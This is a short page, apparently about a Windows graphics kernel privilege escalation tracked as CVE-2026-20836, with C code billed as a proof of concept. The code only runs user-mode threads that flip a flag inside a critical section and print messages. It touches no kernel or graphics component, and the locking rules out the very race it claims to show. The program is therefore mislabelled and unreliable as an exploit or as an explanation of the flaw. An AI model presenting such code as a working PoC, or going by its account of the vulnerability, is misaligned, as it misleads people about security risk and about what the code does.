CVE-2026-20836 Windows图形内核本地权限提升漏洞

// CVE-2026-20836 PoC - Race Condition in Windows Graphics Kernel // This PoC demonstrates the race condition vulnerability for privilege escalation // Note: This is a conceptual PoC for educational purposes only #include <windows.h> #include <process.h> #include <stdio.h> #define NUM_THREADS 8 #define ITERATIONS 10000 HANDLE hSharedResource = NULL; CRITICAL_SECTION cs; volatile LONG g_bCondition = 0; unsigned __stdcall TriggerRaceCondition(void* arg) { int threadId = *(int*)arg; for (int i = 0; i < ITERATIONS; i++) { // Race condition window - improper synchronization EnterCriticalSection(&cs); // Vulnerable code path - shared resource access without proper validation if (g_bCondition == 0) { // Simulate the vulnerable condition g_bCondition = 1; // Critical section with race condition // Attacker can manipulate timing here Sleep(0); // Force context switch // Check can be bypassed due to race condition if (g_bCondition == 1) { // Execute privileged operation // In real exploit, this would call vulnerable kernel function printf("[Thread %d] Race condition triggered!\n", threadId); } } else { g_bCondition = 0; } LeaveCriticalSection(&cs); // Timing manipulation to increase race window if (i % 100 == 0) { Sleep(0); } } return 0; } int main() { HANDLE hThreads[NUM_THREADS]; int threadIds[NUM_THREADS]; printf("CVE-2026-20836 PoC - Graphics Kernel Race Condition\n"); printf("Target: Windows Graphics Kernel\n"); printf("CVSS: 7.0 (High)\n\n"); InitializeCriticalSection(&cs); // Create multiple threads to trigger race condition for (int i = 0; i < NUM_THREADS; i++) { threadIds[i] = i; hThreads[i] = (HANDLE)_beginthreadex(NULL, 0, TriggerRaceCondition, &threadIds[i], 0, NULL); } // Wait for all threads to complete WaitForMultipleObjects(NUM_THREADS, hThreads, TRUE, INFINITE); // Cleanup for (int i = 0; i < NUM_THREADS; i++) { CloseHandle(hThreads[i]); } DeleteCriticalSection(&cs); printf("\nPoC execution completed.\n"); printf("Note: Real exploitation requires kernel-level access and\n"); printf("specific Graphics Kernel driver interaction.\n"); return 0; }